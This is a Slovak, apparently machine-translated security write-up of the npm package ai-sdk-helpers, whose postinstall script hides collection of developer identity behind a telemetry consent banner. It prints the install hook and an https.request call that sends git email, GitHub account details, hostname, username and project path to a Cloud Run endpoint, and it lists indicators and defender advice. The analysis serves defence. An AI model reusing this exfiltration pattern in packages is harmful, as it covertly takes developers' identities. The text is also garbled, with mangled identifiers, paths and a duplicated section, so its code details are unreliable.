ConsentMask Balík npm Skrytie zberu identity vývojára

ConsentMask: NPM balík, ktorý zobrazuje banner s telemetrickým súhlasom pri zbere identity vývojára

TL; DR

Jeden balík npm, pomocníci AI-SDK, sa prezentuje ako produkčná sada nástrojov pre Vercel AI SDK, ktorá ponúka sledovanie nákladov, záložných poskytovateľov a pomocníkov so streamovaním.

Jeho inštalačný skript sa otvára prepracovaným popisom anonymná diagnostika, pričom sľubuje, že sa neprenesie žiadny zdrojový kód, tokeny ani prihlasovacie údaje, čím sa rešpektuje DO_NOT_TRACK odhlásenie a prepojenie na stránku s pravidlami telemetrie.

Ten istý skript potom načíta identitu vývojára v systéme Git, konfiguráciu rozhrania príkazového riadka GitHub, názov hostiteľa počítača, používateľské meno operačného systému, pracovný adresár a poskytovateľa CI.

Tieto údaje sa odosielajú ako JSON do koncového bodu služby Google Cloud Run, čo vytvára zjavný nesúlad medzi uvedenou politikou telemetrie a skutočne zhromaždenými poľami.

Balík bol publikovaný v dvadsiatich dvoch verziách v rámci jedného 83-sekundového nábehu a inštalačný skript je bajt po bajte identický v každej označenej verzii.

Sedem z ôsmich verzií, ktoré sme recenzovali pipeline boli klasifikátorom ML hodnotené ako nepresvedčivé, pretože štýl bannera so súhlasom sa číta ako legitímna telemetria.

Klasifikujeme ai-sdk-helpers ako škodlivý na základe zhromažďovania a exfiltrácie identity vývojára počas inštalácie.

Závažnosť: vysoká.

 Anatómia inštalácie

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

po inštalácii spúšťa sa automaticky na npm install, predtým, ako sa importuje akýkoľvek inzerovaný kód balíka. Skript skripty/postinstall.js je miestom, kde sa nachádza všetko správanie počas inštalácie.

Otvára sa blokom komentárov a oznámením za behu napísaným v registri projektu s otvoreným zdrojovým kódom, ktorý dbaje na súkromie:

>Keď si nainštalujete ai-sdk-helpers, spustíme rýchlu kontrolu kompatibility prostredia a nahlásime anonymnú diagnostiku… Dáta sú úplne anonymné – zhromažďujeme vašu platformu, verziu uzla a jednosmerný hash identifikátora vášho počítača. Nikdy sa neprenášajú žiadne zdrojové kódy, tokeny ani prihlasovacie údaje.

Dokonca zapája funkčnú bránu na odhlásenie, prvý spustiteľný kód v súbore:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

začiatočník pri zatváraní tejto brány robí zvyšok konsenzuálnym: vývojár, ktorý stanovuje `D_NESLEDOVANÉ_ ticho ponechá inštaláciu dokončenú a balík sa uzatvorí v súlade s konvenciou. Odhlásenie s rešpektom je skutočné. Pre každého, kto ho nenastaví, blokuje kolekciu opísanú nižšie – nie užšie označenie „platforma, verzia Node a jednosmerný hash“, ako ho označuje oznámenie.

Pod touto bránou skript zostavuje užitočné zaťaženie, ktoré výrazne presahuje tento popis.

  • *Gidentita.* rvyriešiťScmIdentita()` eads `~.gitconfig`,`~.config/git/config`,a aktuálneho projektu `.it/config`,analyzuje `[ser]` sekcia a vráti nakonfigurovanú commit e-mail. Ak žiadny konfiguračný súbor nevráti e-mail, vráti sa späť k `GE-MAIL_AUTOR_T,`GT_COMMITTER_EMAIL`,a `EAIL` premenné prostredia. Dokumentačný reťazec nad funkciou rámuje čítanie ako spôsob „deduplikácie inštalácií naprieč počítačmi, ktoré vlastní tá istá osoba (napr. notebook + CI)“ – deklarovaný účel, ktorý vyžaduje stabilný identifikátor pre každého vývojára, ktorý commit e-mailové potreby.
  • *GÚčet tHub.* rvyriešiťGitHubIdentity()` eads `~.config/gh/hosts.yml` a `~.config/gh/hosts.yaml` konfiguračný súbor, ktorý vytvorí rozhranie príkazového riadka GitHubu pri overení vývojára – a pomocou regulárnych výrazov extrahuje `uehm:` a `eproblém:` polia. Tento súbor tiež uchováva token GitHub OAuth; regulárny výraz skriptu sa zameriava konkrétne na riadky s používateľským menom a e-mailom a token neextrahuje. Tvrdenie v banneri s oznámením „žiadne tokeny... sa nikdy neprenášajú“ je preto doslova pravdivé pre toto jedno pole, zatiaľ čo sa okolité identifikátory účtov čítajú a odosielajú.
  • *Hst a CI odtlačok prsta.* Skript potom zhromažďuje.názov_hostiteľa()`,`o.userInfo().username`,verzia, platforma a architektúra uzla, `pocess.cwd()`,a označenie poskytovateľa CI vyriešené kontrolou premenných prostredia pre osem poskytovateľov (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite a dva generické príznaky CI). Zoznam poskytovateľov sa číta ako zoznam miest, kde sa skript očakáva spustiť – interaktívne shell a automatizované zostavenie pipelinesú podobné.

Všetky sú zoskupené do jedného `dagnostici objekt s poľami pre jednotlivých vývojárov zhromaždenými v rámci `ientita ey a údaje hostiteľa pod `rčas a `cntext` eys, potom serializovaný a odoslaný:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Odpoveď sa zahodí a všetky chyby sa prehltnú – komentár uvádza, že „telemetria nesmie nikdy prerušiť inštaláciu“. Názov hostiteľa koncového bodu kóduje službu Google Cloud Run v reťazci `elano-západ1` región.

Medzera je príbeh. Banner uvádza tri kategórie údajov – platformu, verziu uzla, hash identifikátora stroja. Úžitková záťaž odosiela skutočný git vývojára. commit e-mail, ich používateľské meno a e-mail na GitHub, názov hostiteľa ich počítača a názov účtu operačného systému, cestu k ich projektu a ich prostredie CI. Polia, ktoré identifikujú *prson a ich účty* presne tie polia, ktoré zverejnenie vynecháva.

Súbor README posilňuje tvrdenie druhej strany. Jeho časť „Telemetria“ opakuje tvrdenie o anonymite a spája slovo `D_NESLEDOVANÉ_ o `cnsoledonottrack.com`,skutočná stránka komunity, ktorá dokumentuje konvenciu o odhlásení – požičiava si uznávaný spôsob ochrany osobných údajov standard aby sa oznámenie čítalo ako bežná prax.

časová os

Ide o nález v jednom balíku s veľmi krátkou a veľmi hustou publikačnou históriou. Neexistuje žiadny viactýždňový priebeh kampane, ktorý by sa dal sledovať – celá škála verzií bola publikovaná rýchlosťou stroja.

Kedy (UTC) udalosť
2026-06-03 20:31:20 Prvá verzia (0.1.0) publikované na npm.
2026-06-03 20:31:20 – 20:32:43 Všetkých 22 verzií (0.1.0 cez 1.4.2) publikované v 83-sekundovom automatickom sérii.
2026-06-04 Osem verzií označených detekčnými signálmi; manuálna analýza potvrdzuje zhromažďovanie a exfiltráciu identity počas inštalácie. Balík zostal v čase analýzy aktívny na npm.

83-sekundové okno medzi 22 sémantickými verziami je samo o sebe behaviorálnym indikátorom: rebríček verzií (`01.0`,`01.1`,... `14.2")predstavuje povrch aktívne udržiavaného projektu s históriou vydaní, vytvorenou v jednom spustení skriptu. Inštalačný skript sa v rámci tejto rebríčka nemení – pozri nižšie.

Indikátory kompromisu

Dáta pri inštalácii sú v celom rozsahu publikovaných verzií identické. A `dff` f `sript/postinstall.js` verzia medzi `02.1` nd verzia `14.2` nevracia žiadne rozdiely; správanie je jeden fixný odtlačok prsta, nie vyvíjajúce sa užitočné zaťaženie.

sieť

83-sekundové okno medzi 22 sémantickými verziami je samo o sebe behaviorálnym indikátorom: rebríček verzií (`01.0`,`01.1`,... `14.2")predstavuje povrch aktívne udržiavaného projektu s históriou vydaní, vytvorenou v jednom spustení skriptu. Inštalačný skript sa v rámci tejto rebríčka nemení – pozri nižšie.

Indikátory kompromisu

Dáta pri inštalácii sú v celom rozsahu publikovaných verzií identické. A `dff` f `sript/postinstall.js` verzia medzi `02.1` nd verzia `14.2` nevracia žiadne rozdiely; správanie je jeden fixný odtlačok prsta, nie vyvíjajúce sa užitočné zaťaženie.

sieť

Indikátor Úloha
npm-package-logger-228835561205.europe-west1.run.app Koncový bod exfiltrácie prijímajúci požiadavky HTTPS POST s dátami JSON. Hostované v službe Google Cloud Run v europe-west1 región.

Infraštruktúra návnady

Indikátor Úloha
ai-sdk.guide Domovská stránka balíka a aktívna stránka podporujúca identitu autora „AI SDK Guide“.
ai-sdk.guide/telemetry URL adresa politiky telemetrie uvedená v oznámení o zverejnení informácií v čase inštalácie.
hello@ai-sdk.guide E-mailová adresa autora je deklarovaná v package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Zdrojový repozitár deklarovaný balíkom.

Súbory načítané pri inštalácii

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` pošta
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` Rozhranie príkazového riadka GitHubehm `echorý

Behaviorálne podpisy

  • – m `pstinstall` ook vyvolanie pribaleného skriptu Node
  • – brána na odhlásenie („A“)_SDK_HELPERS_TELEMETRIA_VYPNUTÁ`,`D_NESLEDOVANÉ`)prezentované ako funkcia ochrany súkromia, pred zhromažďovaním identity
  • – tbound HTTPS POST objektu JSON obsahujúceho git email, identitu GitHub, názov hostiteľa, používateľské meno OS, cwd a CI label
  • – identický inštalačný skript v rámci rýchlo publikovaného rebríčka verzií

 Atribúcia a pozorované správanie
Nepripisujeme nič okrem toho, čo sú zaznamenané v metadátach balíka a registra.

Správcom záznamov npm je účet `aielsimon`,s adresou `aiel@vigilance.security`.Register uvádza tento e-mail ako neoverený a identitu správy zdrojového kódu účtu ako neoverenú. `pckage.json`,samostatne predstavuje autora ako „Sprievodcu AI SDK“.ello@ai-sdk.guide>`”s domovskou stránkou `a-sdk.guide` a zdrojový repozitár pod `gOrganizácia thub.com/ai-sdk-guide. E-mailová doména publikačného účtu (`vigilance.security`)a identitu autora v balíku (`a-sdk.guide`)sú rôzne domény.

`a-sdk.guide` ite je aktívny a odpovedá a `/elemetria ath rieši — identita návnady je podporená dostupnou webovou prítomnosťou a nie nefunkčným odkazom, čo zvyšuje vierohodnosť rámca balíka.

**Pozorovaná schopnosť.** Počas inštalácie balík načíta súbory identity vývojára a konfigurácie účtu, odtlačky prstov od hostiteľa a prostredia CI a prenesie výsledok do koncového bodu ovládaného operátorom, pričom zobrazí upozornenie, ktoré popisuje užšiu a anonymizovanú množinu údajov. Toto správanie popisujeme; netvrdíme, že mal nejaký motív. Čitatelia hodnotiaci balík – vrátane akejkoľvek strany, ktorá rozpoznáva identitu publikátora – by mali zvážiť pozorovateľný nesúlad medzi uvedenými a skutočnými tokmi údajov.

Dopad, trendy a usmernenia pre obhajcov

Kto je odhalený. Každý, kto inštaluje pomocníci AI-SDK – priamo alebo ako tranzitívna závislosť – spustí kolekciu na danom počítači. Pretože spúšťač je po inštalácii, inzerovaný kód knižnice sa nikdy nemusí importovať, aby došlo k toku údajov; stačí samotná inštalácia. Najhodnotnejšie prostredia sú vývojárske pracovné stanice s nakonfigurovanou identitou git a overeným rozhraním CLI GitHub a spúšťače CI, kde detekcia poskytovateľa CI skriptom naznačuje, že sa očakáva spustenie kolekcie v rámci zostavenia. pipelineako aj na notebookoch.

Čo to odhaľuje. Vo všeobecnosti nie sú to tajomstvá aplikácie – užitočné zaťaženie sa zameriava na identitavývojára commit e-mail, názov a e-mail svojho účtu GitHub, názvy počítačov a účtov a cestu k projektu. To je predbežnýcismapa toho, kto nainštaloval balík, na ktorom počítači, v akom repozitári a pod ktorým systémom CI. Pre organizáciu by hŕstka takýchto záznamov dohromady vymenovala, ktorí inžinieri a ktoré zostavovacie systémy stiahli závislosť – čo je užitočné ako predchodca cielenejšej následnej aktivity, aj keď vlastné správanie tohto balíka sa zastaví pri zhromažďovaní a prenose.

Trend: telemetria ako krytie. Legitímne nástroje pre vývojárov zhromažďujú anonymizované diagnostické údaje o inštaláciách a existujú pravidlá, ako to robiť s rešpektom – oznámenie o zverejnení, NESLEDOVAŤ česť, príznak odhlásenia, adresa URL pravidiel – sú dobre známe. pomocníci AI-SDK verne reprodukuje všetky štyri tieto konvencie a používa ich ako obal pre zhromažďovanie identity. Prítomnosť bannera so súhlasom, funkčného odhlásenia alebo odkazu na zásady ochrany osobných údajov nie je dôkazom dôveryhodnosti balíka; tieto ovládacie prvky sa dajú lacno napodobniť. Jedinou spoľahlivou kontrolou je to, čo kód skutočne číta a kam to skutočne odosiela.

Toto balenie má tiež merateľný vplyv na automatizované triedenie. V rámci našich verzií pipeline Po kontrole boli komentáre v jednoduchom jazyku, štruktúrované názvy polí a konvenčná brána odhlásenia inštalačného skriptu hodnotené ako bežná telemetria: sedem z ôsmich sa vrátilo nepresvedčivá z klasifikátora ML, a nie škodlivý. Signál, ktorý rieši nejednoznačnosť, nie je v próze – je v konkrétnych súboroch, ktoré skript otvára (~ / .gitconfig, ~/.config/gh/hosts.yml) a miesto určenia, kam sa odosiela. Kontrolór, automatizovaný alebo ľudský, ktorý si prečíta zverejnenie a zastaví sa tam, dospeje k nesprávnemu záveru; rozhodnutie musí vychádzať z faktov o toku údajov.

Pokyny pre obrancov:

  • Inštalácia so skriptami predvolene vypnutými — npm install –ignore-scriptsalebo nastaviť ignore-scripts=true in .npmrc a explicitne spustiť overené kroky zostavenia. Toto neutralizuje po inštalácii-spustené vymáhanie pohľadávok vo všetkých oblastiach.
  • Nepovažujte ovládacie prvky odhlásenia za signály dôvery. A NESLEDOVAŤ Kontrola alebo odkaz „telemetrická politika“ vám nehovorí nič o údajoch, ktoré skript zhromažďuje, keď brána nie je nastavená.
  • Pred prijatím pomocných balíkov pre ekosystém umelej inteligencie si prečítajte inštalačný hook. Priestor Vercel AI SDK je rýchlo sa meniaci a vysoko dôveryhodný cieľ; po inštalácii ktorý sa dotýka ~ / .gitconfig or ~/.config/gh/ je jasným signálom bez ohľadu na to, ako sú napísané okolité komentáre.
  • Monitorovanie výstupu počas zostavovania. Odchádzajúci HTTPS POST počas npm install, najmä pre novo zriadený koncový bod cloudovej funkcie, je pozorovateľný na sieťovej vrstve a je silným detekčným bodom pre prostredia CI.
  • Dávajte si pozor na komprimované rebríčky verzií. Balík, ktorého celá sémantická história verzií sa zobrazí v priebehu niekoľkých sekúnd s nemenným inštalačným skriptom, prezentuje históriu údržby vyrobenej v technológii.
nástroje na analýzu zloženia softvéru SCA
Stanovte si priority, odstraňujte a zabezpečte svoje softvérové ​​riziká
Získajte svoj bezplatný účet.
Nie je potrebná kreditná karta.

Zabezpečte si vývoj a dodávku softvéru

s produktovým balíkom Xygeni